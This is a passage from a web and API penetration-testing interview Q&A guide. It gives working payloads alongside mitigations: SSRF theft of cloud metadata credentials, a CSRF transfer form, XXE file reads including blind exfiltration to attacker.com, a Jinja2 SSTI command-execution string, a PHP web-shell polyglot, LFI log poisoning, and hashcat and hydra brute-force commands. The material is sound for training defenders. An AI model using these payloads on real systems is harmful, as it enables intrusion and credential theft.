1) ?url=http://169.254.169.254/latest/meta-data/ → lists categories. 2) ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ → returns role name(s). 3) ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> → returns AccessKeyId/SecretAccessKey/Token. Then export to env vars and run aws s3 ls.

Q209. How do you bypass SSRF filters that blacklist 127.0.0.1?

1) Alternate localhost reps: 127.1, 127.000.000.001, 0.0.0.0, [::]. 2) Decimal IP: 2130706433 (=127.0.0.1). 3) Hex: 0x7f000001. 4) DNS rebinding (attacker.com TTL=0 resolves to 1.2.3.4 once, then 127.0.0.1 on next lookup). 5) URL parser confusion: http://expected.com@127.0.0.1/, http://expected.com#@127.0.0.1/. 6) IPv6: [::1], [::ffff:127.0.0.1]. 7) Protocol smuggling via gopher://.

Q210. What is gopher:// SSRF and what can you do with it?

gopher:// allows arbitrary TCP byte payloads — turns SSRF into 'send arbitrary bytes to internal services'. Examples: send Redis commands (FLUSHALL, CONFIG SET, then SAVE to write attacker-controlled file), send SMTP commands, send MySQL handshake, talk to internal HTTP without parsing limitations. Tool: gopherus generates payloads. Mitigation: filter URL schemes to http/https only in fetch libraries.

Q211. Blind SSRF — how do you confirm exploitation?

If the response gives no feedback, use OOB: Burp Collaborator URL as the payload. If the server makes the request, Collaborator logs it. Also: time-based — request to 127.0.0.1:22 vs 127.0.0.1:9999 (unused port) — RST = fast, SYN-ACK or filter = slower. Differential timing infers internal port state.

Q212. What is CSRF and what conditions enable it?

Cross-Site Request Forgery — attacker tricks a logged-in user's browser into sending an unwanted state-changing request to the target. Conditions: 1) Cookie-based auth (cookies sent automatically). 2) No CSRF protection (no token, no SameSite cookies, weak referrer checks). 3) State-changing action via GET, or simple-content-type POST. Modern SameSite=Lax cookies kill most classical CSRF.

Q213. Show a basic CSRF PoC for a fund transfer.

If target endpoint is POST /transfer with body amount=1000&to=12345, host on attacker.com: <form action='https://bank.com/transfer' method='POST'><input name='amount' value='1000'><input name='to' value='attacker-acct'></form><script>document.forms[0].submit()</script>. When victim visits attacker.com while logged in, browser sends the POST with auth cookies.

Q214. What is the SameSite cookie attribute?

Tells the browser when to send the cookie cross-site. Strict: never sent on cross-site requests, even top-level navigation. Lax: not sent on cross-site subresource/iframe requests, but sent on top-level GET nav. None: always sent (requires Secure). Modern browsers default to Lax — effectively blocks most CSRF on cross-site iframes/AJAX. POST forms from another origin are also blocked by Lax.

Q215. How do you prevent CSRF?

1) SameSite=Lax or Strict on session cookies. 2) CSRF tokens — unique per session, validated server-side, in hidden form field or custom header. 3) Custom request header that browsers cannot set cross-origin without preflight (e.g., X-Requested-With). 4) Re-auth for sensitive ops. 5) Referer/Origin header validation (weaker, but defense in depth).

Q216. What is CSRF token leakage and how does it happen?

CSRF tokens defeated by XSS (token in DOM is stolen), reflected in URLs (logged in referrers, browser history), exposed via XS-Leaks, or stored in localStorage (XSS-readable). Best practice: token in HTML form field or HttpOnly cookie + JS reads same value from a meta tag (double-submit). Synchronizer token pattern remains gold standard.

Q217. What is IDOR (Insecure Direct Object Reference)?

Authorization flaw where the app exposes references to internal objects (DB IDs, filenames, account numbers) directly in requests, and fails to verify that the requesting user owns/can access that object. Classic: GET /api/orders/1234 returns order 1234 regardless of who's logged in, when it should only return the caller's orders. Maps to OWASP A01 Broken Access Control and OWASP API #1 BOLA.

Q218. How do you test for IDOR systematically?

1) Identify object references in requests (numeric IDs, UUIDs, filenames, GUIDs, hashes). 2) Create two accounts (low-privilege A and B). 3) Capture A's actions in Burp. 4) Replay A's requests but with B's resource IDs. 5) Check if successful. Also try: incremented IDs, /api/v1 vs /api/v2 access, predictable UUIDs (UUID v1 has timestamps). Use Autorize Burp plugin for automation.

Q219. What's the difference between BOLA and BFLA?

BOLA (Broken Object Level Authorization) — accessing other users' data via object ID manipulation (classic IDOR). BFLA (Broken Function Level Authorization) — accessing functions you shouldn't (e.g., a regular user calling /admin/deleteUser). Both in OWASP API Top 10. BOLA #1 (data leak), BFLA #5 (privilege escalation).

Q220. Real-world IDOR example you can describe.

Facebook's photo deletion bug (2015): graph.facebook.com/<photo_id>/?access_token=<page_token> let any page admin delete any photo. The API checked the page token was valid but not that the page owned the photo. Reported by Laxman Muthiyah, $12.5k bounty. Demonstrates classical IDOR: valid auth, missing per-object authz check.

Q221. What is XXE (XML External Entity) injection?

Vulnerability in XML parsers that resolve external entities. Attacker submits XML with a DOCTYPE defining an external entity (file:// or http://) that the parser fetches and includes in the parsed document. Result: file read (/etc/passwd), SSRF (internal services), or DoS (billion laughs). Modern parsers disable external entities by default, but legacy/.NET/Java configs still ship vulnerable.

Q222. Show a basic XXE payload to read /etc/passwd.

<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root><name>&xxe;</name></root>. The parser fetches /etc/passwd, replaces &xxe; with the contents, and (if echoed in response) reveals the file.

Q223. What is blind XXE and how do you exploit it?

When the response doesn't echo entities back. Use out-of-band exfiltration: 1) Host attacker.dtd: <!ENTITY % data SYSTEM 'file:///etc/passwd'><!ENTITY % wrap '<!ENTITY exfil SYSTEM "http://attacker.com/?d=%data;">'>%wrap;. 2) Payload: <!DOCTYPE foo [<!ENTITY % ext SYSTEM 'http://attacker.com/x.dtd'>%ext;%exfil;]>. The DTD fetches the file and exfils it as a query string.

Q224. What is the 'billion laughs' attack?

DoS via exponential entity expansion: <!ENTITY lol 'lol'><!ENTITY lol1 '&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;'><!ENTITY lol2 '&lol1;&lol1;...'>...&lol9;. Ten levels of 10x expansion = a billion 'lol' strings, exhausting parser memory. Mitigation: parser limits, disable DOCTYPE.

Q225. How do you prevent XXE?

Configure XML parsers to disable DTD processing and external entity resolution. Examples: Java SAXParserFactory.setFeature('http://apache.org/xml/features/disallow-doctype-decl', true). .NET XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. Python defusedxml library instead of xml.etree. OWASP has a cheatsheet per language. Better: prefer JSON over XML where possible.

Q226. What is SSTI (Server-Side Template Injection)?

Injection into a server-side template engine where user input is rendered as template syntax. Jinja2, Twig, Freemarker, Velocity, Smarty, Handlebars all have past SSTI CVEs. Often leads to RCE — template engines expose object access that lets attackers reach Python/Java internals. Detection probe: {{7*7}} returns 49 (Jinja/Twig/Smarty), ${7*7}=49 (Freemarker), <%= 7*7 %>=49 (ERB).

Q227. Identifying the template engine — how?

Inject probes per engine family: {{7*7}} (Jinja2, Twig render 49; if literal, not these), {{7*'7'}} (Twig=49, Jinja=7777777 — distinguishes), ${7*7} (Freemarker/JSP EL=49), <#assign...> (Freemarker syntax). PortSwigger's labs and the SSTI cheatsheet have a decision tree.

Q228. Jinja2 SSTI to RCE.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} — climbs from the template context up to Python builtins and imports os. Shorter modern bypass: {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }} (Flask). Tplmap is a tool for automated SSTI exploitation.

Q229. How do you prevent SSTI?

1) Never pass user input as template content/syntax. Pass it as VARIABLES to the template, not as part of the template string. 2) Use a sandboxed engine (Jinja2 sandbox, Twig sandbox) but treat sandbox escapes as inevitable. 3) Server-side allow-list. 4) Render user content as plain text (escape, don't template). Treat templates as code, not data.

Q230. What are common file upload vulnerabilities?

1) Unrestricted file type → upload .php/.aspx/.jsp shell. 2) MIME-type only check (Content-Type spoofed by attacker). 3) Extension blacklist (try .pHp, .phtml, .php7, .phar, .htaccess override). 4) Magic byte check only (prepend GIF89a to a PHP file). 5) No sanitization of filename → path traversal (../../etc/cron.d/x). 6) Stored on web root, executable. 7) Imagetragick (CVE-2016-3714) — content-based RCE.

Q231. How do you bypass a file extension filter?

If filter blocks .php: try .phtml, .php3/4/5/7, .phar, .pht. If MIME type is checked, set Content-Type: image/png while keeping .php extension. If extension parsing is naive: shell.php.png (Apache mod_mime AddHandler abuse), shell.php%00.png (null-byte truncation, old PHP). For nginx-php misconfig: shell.png/x.php (PATH_INFO). On Windows: shell.php::$DATA (NTFS alt stream).

Q232. What is polyglot file? Give an example.

A file valid in multiple formats. Example: GIF89a;<?php system($_GET['c']);?> — valid GIF header passes image checks, but PHP interpreter executes the code if file is renamed/served as .php. PortSwigger labs have PDF/JS polyglots, JPEG/HTML polyglots. ImageMagick has historically processed embedded scripts.

Q233. How do you prevent file upload vulnerabilities?

1) Allow-list extensions, not deny-list. 2) Validate MIME by reading magic bytes server-side. 3) Re-render images (Pillow/ImageMagick resize) — strips embedded payloads. 4) Store uploads outside web root or on a separate domain (no script execution). 5) Generate new filenames (UUID), don't preserve user-provided names. 6) Scan with AV/ClamAV. 7) Restrict file size. 8) Serve with Content-Disposition: attachment for sensitive types.

Q234. What is LFI vs RFI?

Local File Inclusion: include user-controlled local file (file=../../etc/passwd). Remote File Inclusion: include user-controlled remote URL (file=http://attacker.com/shell.php). RFI is rarer — PHP allow_url_include defaults to off since 5.2. LFI more common; can lead to RCE via log poisoning, /proc/self/environ, session files, or PHP wrappers.

Q235. How do you escalate LFI to RCE?

1) Log poisoning: insert PHP into Apache access log via User-Agent: <?php system($_GET['c']);?>, then LFI /var/log/apache2/access.log. 2) /proc/self/environ: inject via User-Agent, include it. 3) Session files: write PHP via cookie/value into PHPSESSID file, include it. 4) PHP wrappers: php://filter/convert.base64-encode/resource= reads source, php://input executes POST body, expect:// runs commands. 5) Mail log poisoning.

Q236. Show an LFI bypass for filtered paths.

If filter strips '../': use '....//' (filter removes one '../' leaves the rest), or absolute paths /etc/passwd. If filter checks for /etc/passwd: try /etc/./passwd, /etc//passwd, or URL/double-URL encoding %2e%2e%2f. Truncation in old PHP: append nulls or many '/' to exceed path length and drop a forced extension.

Q237. What is a JWT and how is it structured?

JSON Web Token — three base64url segments separated by dots: header.payload.signature. Header declares algorithm (HS256, RS256, etc.). Payload (claims) is JSON: iss, sub, aud, exp, iat, custom (e.g., role). Signature is HMAC (symmetric) or RSA/ECDSA (asymmetric) over header+payload using a key. Self-contained, stateless — server doesn't store session.

Q238. Common JWT vulnerabilities — list 5.

1) None algorithm: 'alg':'none' makes signature empty; some libs accept. 2) Algorithm confusion: change RS256 to HS256, sign with the public key as HMAC secret. 3) Weak HMAC secret — brute force offline (hashcat -m 16500). 4) Key disclosure (JWKS endpoint with private key, key in git). 5) kid (key ID) injection — directory traversal or SQLi via kid header. 6) JKU header pointing to attacker-controlled URL.

Q239. Walk me through the alg=none attack.

Original JWT: header={'alg':'RS256','typ':'JWT'}. Tamper to {'alg':'none','typ':'JWT'}. Reset signature to empty (token = b64(header).b64(payload).). Send. Vulnerable libs accept it as valid (no signature required). Fix: explicitly reject alg=none on server. PyJWT, jsonwebtoken (Node), java-jwt all had this CVE at various times.

Q240. Command to brute-force a JWT's HMAC secret with hashcat.

```
hashcat -m 16500 token.jwt /usr/share/wordlists/rockyou.txt
```

Q241. JWT algorithm confusion (RS256 to HS256) — how does it work?

Server expects RS256 (verifies with public key). Attacker takes the public key (often available at /.well-known/jwks.json), changes JWT header to {'alg':'HS256'}, signs the new token using the public key as HMAC secret. Vulnerable server verifies with the same public key, treating it as HMAC secret, accepting the attacker's forged token. Mitigation: enforce algorithm; never let header dictate verification method.

Q242. How do you prevent JWT vulnerabilities?

1) Validate alg on server, enforce expected type (don't accept 'none'). 2) Use strong HMAC secret (random, 256+ bits) or asymmetric keys with rotation. 3) Validate exp, iss, aud, nbf claims. 4) Don't store sensitive data in payload (it's base64, not encrypted). 5) Reject the token on logout via blocklist or short expiry + refresh tokens. 6) Use JOSE library that resists known attacks (validate types, kid format).

Q243. What are common authentication vulnerabilities?

1) Brute force without rate limiting/lockout. 2) Credential stuffing (using breach corpora). 3) Username enumeration via different error messages or timing. 4) Weak password policies. 5) Missing MFA on sensitive ops. 6) Predictable password reset tokens. 7) SQLi in login form. 8) Default credentials (admin/admin). 9) Auth bypass via path normalization (/admin/../public). 10) Race conditions in 2FA.

Q244. How do you test for username enumeration?

1) Compare 'invalid username' vs 'invalid password' error messages. 2) Time the response — bcrypt comparison only happens if user exists, so valid users take longer (timing attack). 3) Password reset: 'an email has been sent' for both vs different messages. 4) Registration: 'username taken'. Tools: ffuf with response-size filtering, Burp Intruder grep extract.

Q245. Show a Hydra command to brute-force a login form.

```
hydra -L users.txt -P passwords.txt target.com http-post-form &#x27;/login:user=^USER^&amp;pass=^PASS^:
```

Q246. What is password spraying and how is it different from brute force?

Brute force tries many passwords against one user (triggers lockout). Spraying tries one password against many users (avoids per-user lockouts). Spray-friendly passwords: Winter2024!, Welcome123, Company-name with year. Tools: kerbrute (AD spraying via Kerberos pre-auth), spray (M365), Burp Intruder Pitchfork. Combined with leaked breach passwords from HIBP, devastating against weak orgs.

Q247. How do you prevent credential stuffing?

1) MFA — primary defense; even a stolen password is useless. 2) Bot detection (reCAPTCHA, hCaptcha, behavioral analytics). 3) Rate limiting per-IP, per-account, per-ASN. 4) Device fingerprinting + risk-based auth (impossible travel, new device). 5) Breach corpus checks (HIBP API) — reject passwords known to be exposed. 6) Push notification / passwordless auth (WebAuthn).

Q248. What is OAuth 2.0 and how is it misused for auth?

OAuth 2.0 is an AUTHORIZATION protocol (grant access tokens to APIs), commonly misused for AUTHENTICATION. OpenID Connect (OIDC) is the auth layer on top of OAuth 2.0 — adds id_token (JWT) with verified user info. Misconfigurations: open redirect_uri (steal codes), missing state parameter (CSRF), implicit flow (tokens in URL, leak via referrer), id_token signature not verified. Always use Authorization Code + PKCE flow.

Q249. Common OAuth/OIDC vulnerabilities.

1) redirect_uri validation flaws: prefix match (allow attacker.com when expecting victim.com/...), path traversal, parameter pollution. 2) Missing state → CSRF on the OAuth callback. 3) Authorization code reuse (codes should be one-time). 4) Mixing flows (implicit token in URL fragment leaks). 5) Token side-channels via window.opener. 6) id_token signature/audience not verified. PortSwigger OAuth labs are the best practice ground.

Q250. What is session fixation?

Attacker sets a victim's session ID before they log in (e.g., via XSS, query param, or pre-auth cookie). After the victim authenticates, the attacker uses the known session ID. Mitigation: regenerate session ID on login. Most modern frameworks do this automatically; legacy apps may not.

Q251. What is session hijacking?

Attacker obtains a victim's session token via XSS (if not HttpOnly), MitM (if not Secure), packet sniffing on insecure WiFi, malware on victim's device, or shoulder surfing. Once held, the attacker impersonates the victim until token expiry or logout. Mitigation: Secure + HttpOnly + SameSite cookies, HTTPS everywhere, short timeouts, server-side token revocation.

Q252. How do you analyze the randomness of session tokens?

Burp Sequencer collects ~10k tokens and runs statistical tests (entropy, FIPS 140-2 monobit/poker/runs, chi-square). Good tokens look indistinguishable from CSPRNG output. Bad tokens have patterns: timestamp + counter (predictable), small entropy keyspace, sequential. Manually: decode base64 — sometimes reveals plain text or weak hashes.

Q253. What is open redirect and when does it matter?

App accepts a URL and redirects to it without validation: /redirect?url=https://attacker.com. By itself low impact, but useful for: phishing (URL appears legitimate — bank.com/redirect?u=...), OAuth code theft (redirect_uri to attacker domain), bypassing SSRF protections, exfiltration. Mitigation: redirect only to allow-listed domains/paths, or use a redirect intermediate page that warns the user.

Q254. What is a race condition vulnerability?

Two requests processed concurrently leading to a state different from any sequential interleaving. Examples: gift code redeemed twice (claim race), credit applied twice, transfer races debiting twice. Detect with Burp's Turbo Intruder or 'single-packet attack' (HTTP/2 multiplexing — send N requests in one TCP packet, eliminating jitter). Bypass: idempotency keys, atomic DB ops, locks.

Q255. What is HTTP request smuggling?

Front-end (CDN/load balancer) and back-end disagree on where one HTTP request ends and the next begins, due to ambiguity in Content-Length vs Transfer-Encoding. CL.TE: front-end uses CL, back-end uses TE — attacker smuggles a second request inside the first. TE.CL: opposite. TE.TE: both look at TE but parse differently. Impact: hijack other users' requests, bypass front-end controls, cache poisoning.

Q256. How do you detect HTTP request smuggling?

Send a request where CL and TE conflict, with timing analysis: send request that would cause back-end to wait for more bytes if it processes CL, or process the next request immediately if TE. PortSwigger's HTTP Request Smuggler extension automates detection. James Kettle's research is the canonical material.

Q257. What is web cache poisoning?

Unkeyed input (a header not part of the cache key — e.g., X-Forwarded-Host) influences the cached response. Attacker sends a request with a malicious header; the response is cached with that malicious content; subsequent users get poisoned response. Common keys: X-Forwarded-Host, X-Host, X-Forwarded-Scheme, User-Agent. Detection: Param Miner finds unkeyed headers.

Q258. What is prototype pollution?

JavaScript vulnerability — assigning to Object.prototype (or similar) modifies behavior of all objects globally. Server-side (Node.js) and client-side. Server-side: payload like {'__proto__':{'isAdmin':true}} via JSON parse + merge → all subsequent objects have isAdmin=true. Client-side: hash params parsed and merged with config → gadget executes attacker code (e.g., 'src' in jQuery image). PortSwigger's research catalogs gadgets.

Q259. What is insecure deserialization?

Languages let objects be serialized to strings and reconstructed. If user-controlled serialized data is deserialized without integrity checks, attacker can craft malicious objects whose construction triggers code execution. Java: ysoserial generates payloads using gadget chains (Commons Collections, Spring). PHP: __wakeup, __destruct magic methods abused via __PHP_Incomplete_Class. .NET: BinaryFormatter, JSON.NET TypeNameHandling. Python: pickle.loads (never on untrusted data).

Q260. What is GraphQL and what are its specific risks?

Query language for APIs allowing client to specify exact data needed. Risks: 1) Introspection enabled exposes full schema. 2) Excessive depth or breadth → DoS (a query with nested aliases pulling millions of objects). 3) BOLA — field-level authz often missing. 4) Batched queries bypassing rate limits. 5) Mutation race conditions. 6) Information disclosure via error messages. Tools: GraphQL Voyager, InQL (Burp), graphql-cop.

Q261. GraphQL introspection query — show example.

{__schema{types{name,fields{name,type{name}}}}} — returns the full schema. If introspection isn't disabled, attacker maps every type and query/mutation. Even with introspection off, field guessing via clairvoyance tools sometimes works due to error verbosity.

Q262. What is HTTP Parameter Pollution (HPP)?

Sending the same parameter multiple times — different layers (proxy, app, DB) handle it differently. ?role=user&role=admin: Apache PHP takes the LAST, Tomcat takes the FIRST, Java Spring concatenates with commas. Can bypass WAFs (which inspect one) or app logic (which uses another). Notable for bypassing token validation and access controls in chained services.

Q263. What is a Subdomain Takeover?

DNS record (CNAME) points to a third-party service (heroku, github pages, azure, AWS S3) that has been deprovisioned. The attacker registers the service with the orphaned name, getting full control of subdomain.target.com — used for phishing with valid certs, cookie scoping abuse (set cookie for *.target.com), CORS abuse. Tools: subjack, subzy, takeover.sh. Hundreds of fingerprints exist (can-i-take-over-xyz).

Q264. What is HTML injection vs XSS?

HTML injection: attacker injects HTML markup (<h1>hi</h1>, fake forms) but no JavaScript execution. Useful for phishing (inject a fake login form into a legit page) and content spoofing. XSS includes HTML injection plus JS execution. Frameworks may sanitize <script> but not <form action='attacker.com/steal'> — still impactful.

Q265. What is web socket security testing?

WebSockets (wss://) need testing: authentication on connect (token in cookie/header/URL), origin validation (CSRF on WebSocket is real — 'Cross-Site WebSocket Hijacking'), per-message authz, input validation on payloads, rate limiting. Tools: Burp's WebSocket message interception, WSSiP. Replays via Burp Repeater 'New WebSocket message'.

CHAPTER 05

API Pentesting

REST
GraphQL
OAuth
OWASP API Top 10

Chapter 05 — API Pentesting

REST | GraphQL | OAuth | OWASP API Top 10

Q271. What is an API and why has API security become so critical?

Application Programming Interface — programmatic contract between systems. APIs (REST, GraphQL, SOAP, gRPC) drive every modern app: mobile back-ends, microservices, integrations. Surface has exploded — every endpoint is internet-exposed, often with weaker controls than the web frontend. Gartner predicted APIs would become the #1 attack vector; OWASP started a dedicated API Top 10 in 2019 (latest 2023).

Q272. Explain REST and what makes an API RESTful.

Representational State Transfer — architectural style. RESTful APIs: 1) Resources identified by URLs (/users/123). 2) Standard HTTP verbs (GET retrieve, POST create, PUT replace, PATCH partial update, DELETE remove). 3) Stateless (each request self-contained). 4) Cacheable. 5) Uniform interface. 6) Hypermedia (HATEOAS — optional). Returns JSON or XML. Pure REST is rare; most APIs are 'RESTful enough'.

Q273. Difference between REST, SOAP, GraphQL, and gRPC.

REST: HTTP+JSON, resource-based, simple, ubiquitous. SOAP: XML-based, WS-* standards (WS-Security), used in legacy/enterprise/finance, more strict contracts (WSDL). GraphQL: single endpoint, client-defined queries, solves over/under-fetching, harder to cache. gRPC: HTTP/2 + Protocol Buffers, binary, used internal/microservices, less browser-friendly. Each has unique attack surface — pentest tools differ.

Q274. What is the OWASP API Security Top 10 (2023)?

1) Broken Object Level Auth (BOLA). 2) Broken Authentication. 3) Broken Object Property Level Auth (BOPLA — mass assignment + excessive data exposure merged). 4) Unrestricted Resource Consumption. 5) Broken Function Level Authorization (BFLA). 6) Unrestricted Access to Sensitive Business Flows. 7) SSRF. 8) Security Misconfiguration. 9) Improper Inventory Management. 10) Unsafe Consumption of APIs.

Q275. API-1 Broken Object Level Auth — example and test.

Same as IDOR but #1 for APIs because APIs expose object IDs everywhere. Example: GET /api/v1/orders/12345 returns order regardless of caller. Test by: 1) Create two test accounts. 2) Capture A's API calls in Burp. 3) Replay with B's IDs. 4) Check successful access. Watch for UUIDs (less guessable but still IDOR if not auth-checked), nested resources (/users/A/orders/B's-order).

Q276. API-3 Excessive Data Exposure (now part of BOPLA) — show me.

Endpoint returns more fields than the UI shows, expecting the client to filter. Example: GET /api/users/me returns the full user record including ssn, password_hash, internal_admin_notes — even though the profile page only displays name+email. Test: read JSON responses fully; UI is irrelevant. Often the same endpoint returns sensitive fields for /me and /<other_user> because the response was designed for the owner.

Q277. What is mass assignment? Show an example.

API accepts client-provided fields and binds them directly to a backend object. Endpoint POST /api/users {name:'Alice', email:'a@b.c'} expected. Attacker adds 'role':'admin' or 'is_verified':true to the JSON. If the API binds without an allow-list, the field is set. Common in Ruby on Rails (mass_assignment), Spring (auto-binding), .NET model binding without [Bind] attributes.

Q278. API-2 Broken Authentication — list common API auth flaws.

1) Weak password policies on /register. 2) Missing rate limit on /login. 3) JWT vulnerabilities (alg=none, weak secret, key confusion). 4) API keys in URLs (logged everywhere). 5) Tokens never expire / no rotation. 6) Predictable password reset tokens. 7) OAuth misconfigs (open redirect_uri). 8) Missing MFA on sensitive endpoints. 9) Token in localStorage (XSS-readable).

Q279. What is BFLA (Broken Function Level Authorization)?

User can access functions/endpoints reserved for higher roles. Test: 1) Discover admin endpoints (Swagger, JS files, predictable paths /admin/users, /api/admin/*). 2) Authenticate as low-priv user. 3) Try those endpoints. 4) Check if they work. Common: client-side hides the button, but the API doesn't check role server-side. Vertical (low→admin) and horizontal (regular user A → regular user B endpoint scopes).

Q280. How do you discover undocumented API endpoints?

1) Spider the web frontend & mobile app, capture all API calls in Burp. 2) JavaScript files — grep for /api/, fetch(, axios. 3) Swagger / OpenAPI URLs: /swagger.json, /api-docs, /openapi.json, /v2/api-docs. 4) Wayback Machine for historical paths. 5) WordList brute on /api/v1/* (apidocs.txt). 6) Mobile APK static analysis with apktool + grep. 7) Discover via referrer leaks or JS source maps.

Q281. Show ffuf command to fuzz API endpoints.

```
ffuf -u https://target.com/api/FUZZ -w api-endpoints.txt -mc 200,201,401,403 -t 50
```

Q282. What is the difference between API key, OAuth token, and JWT?

API key: static secret per application; identifies caller. Often long-lived, no claims, transmitted in header (X-API-Key) or query (?api_key=). OAuth access token: short-lived, scoped, granted via OAuth flow; can be opaque or JWT. JWT: format (header.payload.signature) — could be an OAuth access token or anything. JWTs are self-validating; opaque tokens require server lookup.

Q283. How do you test for rate limiting on an API?

1) Identify auth/critical endpoints (login, password reset, OTP, payment). 2) Send 100 requests in a tight loop (Burp Intruder, ffuf, hey). 3) Check: are requests blocked after a threshold (429 Too Many Requests)? Per-IP, per-account, per-API-key? 4) Bypass attempts: rotate X-Forwarded-For, change source IP, distribute via residential proxies, add random query params (cache busting), case-changing headers. 5) Check error message reveals limit.

Q284. What is API-4 Unrestricted Resource Consumption?

API doesn't limit query size, request rate, or memory. Examples: GraphQL deeply nested query consumes CPU, file upload without size limit fills disk, /export endpoint pulls all records into memory, search with no pagination returns 10M rows. Mitigation: pagination (limit + offset), query depth limits (graphql-depth-limit), rate limits, async + queue for heavy ops.

Q285. GraphQL — show a query that could DoS the server.

{ users { friends { friends { friends { friends { friends { id } } } } } } } — exponential traversal of friend lists. With 100 friends per user and depth 5 = 10 billion fields. Mitigation: graphql-depth-limit middleware (max depth 7), complexity scoring (each field a cost), max query bytes.

Q286. What is the GraphQL introspection vulnerability?

If introspection is enabled in production, attacker fetches the full schema and discovers all queries, mutations, and types. Even admin/internal mutations are documented. Test: POST {'query': '{__schema{types{name}}}'} or use GraphQL Voyager. Mitigation: disable introspection in prod (Apollo: introspection:false). Caveat: clairvoyance can sometimes reconstruct schema from error messages even with introspection off.

Q287. What is BOPLA (Broken Object Property Level Authorization)?

Merges old API-3 (Excessive Data Exposure) and API-6 (Mass Assignment) from 2019 list. Authorization should be enforced not just on objects but on properties of objects. Read-side: don't return fields the caller can't see (admin_notes). Write-side: don't accept fields the caller can't set (role, balance). Property-level allow-lists in serializers.

Q288. Show how API-8 Security Misconfiguration manifests.

1) Debug endpoints exposed in prod (/debug, /actuator/env in Spring Boot — leaks secrets). 2) Default credentials on the API gateway. 3) Verbose stack traces leaked. 4) CORS Access-Control-Allow-Origin: *. 5) TLS misconfigurations (weak ciphers, no HSTS). 6) Outdated framework. 7) Public Kibana/Elasticsearch (no auth). nuclei has thousands of templates for these.

Q289. What is API-9 Improper Inventory Management?

Old API versions (/api/v1, /api/v2) still online. Deprecated endpoints unpatched. Non-production environments (staging-api.target.com) exposed without proper hardening. Result: attacker hits the forgotten /api/v1/login which lacks the rate limits and MFA the v2 has. Tools: katana for crawling, ffuf for version brute (v1..v10), Wayback for historical endpoints.

Q290. What is API-10 Unsafe Consumption of APIs?

Server-side blind trust of third-party APIs (e.g., a marketplace fetching seller data from external supplier API and passing it to clients without validation). Risks: SSRF chained from third-party redirect, XSS via reflected data, deserialization of malicious response. Mitigation: validate/sanitize ALL third-party responses, use timeouts, prefer allow-lists of trusted partners.

Q291. What tools do you use for API pentesting?

Burp Suite (proxy, repeater, Intruder), Postman (request crafting, collections), Insomnia (Postman alt), Akto (open-source API security), ZAP, nuclei (templates for API misconfigs), Astra (Python framework), kiterunner (API path brute force tuned for APIs), GraphQL: InQL, graphql-cop, clairvoyance. Custom Python with requests is often best for tailored tests.

Q292. What is Postman and how do you use it in pentesting?

API client tool — craft requests, save collections, environment variables, run scripts pre/post-request. Use for: exploring documented APIs (import OpenAPI spec), maintaining test cases, scripted attacks via Postman runner, sharing PoCs with developers. Newman is the CLI runner — automate API test suites.

Q293. Show a Postman request manipulation for IDOR testing.

1) Authenticate as Alice; save her token in environment variable {{alice_token}}. 2) Authenticate as Bob; save {{bob_token}}. 3) Create a request: GET /api/orders/{{order_id}} with Authorization: Bearer {{alice_token}}. 4) Find Alice's order_id; capture. 5) Find Bob's order_id (or guess). 6) Send the request with Alice's token but Bob's order_id. 7) If 200 OK — IDOR.

Q294. What is kiterunner and why is it better than ffuf for APIs?

kr (kiterunner) is purpose-built for API path discovery. Uses 'kitebuilder' Schema (collections derived from Swagger specs) — knows that DELETE /api/users requires JSON body, GET /api/users/{id} needs an ID. Smarter than ffuf which just GETs everything. Discovers endpoints behind correct verb + content-type combinations.

Q295. Command to run kiterunner.

```
kr scan https://target.com -w routes-large.kite -A=apiroutes-220218
```

Q296. What is OAuth 2.0 Authorization Code Flow with PKCE?

1) Client generates code_verifier (random) and code_challenge (SHA256 hash). 2) Redirects user to auth server with challenge. 3) User authenticates and grants. 4) Auth server redirects back with code. 5) Client exchanges code + verifier for token. PKCE prevents code interception (attacker without verifier can't exchange). Mandatory for public clients (SPAs, mobile) per OAuth 2.1.

Q297. What is the difference between OAuth and OpenID Connect?

OAuth 2.0 = authorization (give my photos to printing app). OpenID Connect (OIDC) builds on OAuth, adding authentication via id_token (a JWT with user identity claims). Both use same flows. Modern apps using 'Login with Google' use OIDC. Always validate id_token signature, issuer, audience, and exp.

Q298. What are common OAuth bypasses you'd test?

1) redirect_uri loosely matched — prefix, wildcard, path traversal. 2) Missing state → CSRF on callback. 3) Authorization code reuse. 4) Implicit flow (deprecated) tokens in fragment leaking via referrer. 5) Scope upgrade — request more scopes mid-flow. 6) Token swapping between clients. 7) Auth server side: confused deputy via response_type=token,code. PortSwigger labs cover all of these.

Q299. Show an OAuth redirect_uri bypass test.

Original: redirect_uri=https://app.target.com/callback. Tests: 1) https://app.target.com.attacker.com/callback (suffix). 2) https://app.target.com/callback@attacker.com. 3) https://app.target.com/callback/../../../attacker. 4) https://app.target.com//attacker.com/callback. 5) Add encoded chars: https://app.target.com%23.attacker.com (URL parsing differences).

Q300. What is API versioning and how does it affect security?

Maintaining v1/v2/v3 for backward compat. Security impact: 1) Older versions may lack fixes. 2) Bypass techniques: v1 enforces auth one way, v2 another. 3) Forgotten versions remain online. 4) Endpoint behavior may differ — v1 returns more fields than v2. Always probe all known versions; assume v1 is legacy and least patched.

Q301. API pentest scenario: e-commerce checkout flow — what do you test?

1) Cart manipulation: change quantities, negative quantities (refund exploit), zero quantities (free), bypass min order. 2) Price tampering: client-side prices manipulated; coupon stacking. 3) Currency confusion: send USD price for INR product. 4) Race condition on coupon redemption. 5) IDOR on cart/order objects across users. 6) Mass assignment: inject 'paid':true on order create. 7) Webhook verification (Stripe signature) skipped or weak.

Q302. How do you test JWT-based APIs systematically?

1) Decode the JWT — note alg, payload claims. 2) Try alg=none. 3) Try alg confusion (RS256 → HS256 with public key as secret). 4) Brute HMAC secret (hashcat -m 16500). 5) Tamper non-signed claims if no signature check. 6) Reuse expired tokens — is exp enforced? 7) Cross-tenant: take a JWT from tenant A on tenant B's endpoint. 8) Check kid header for injection. 9) Validate jku/x5u headers.

Q303. What is API gateway and why does it matter for security?

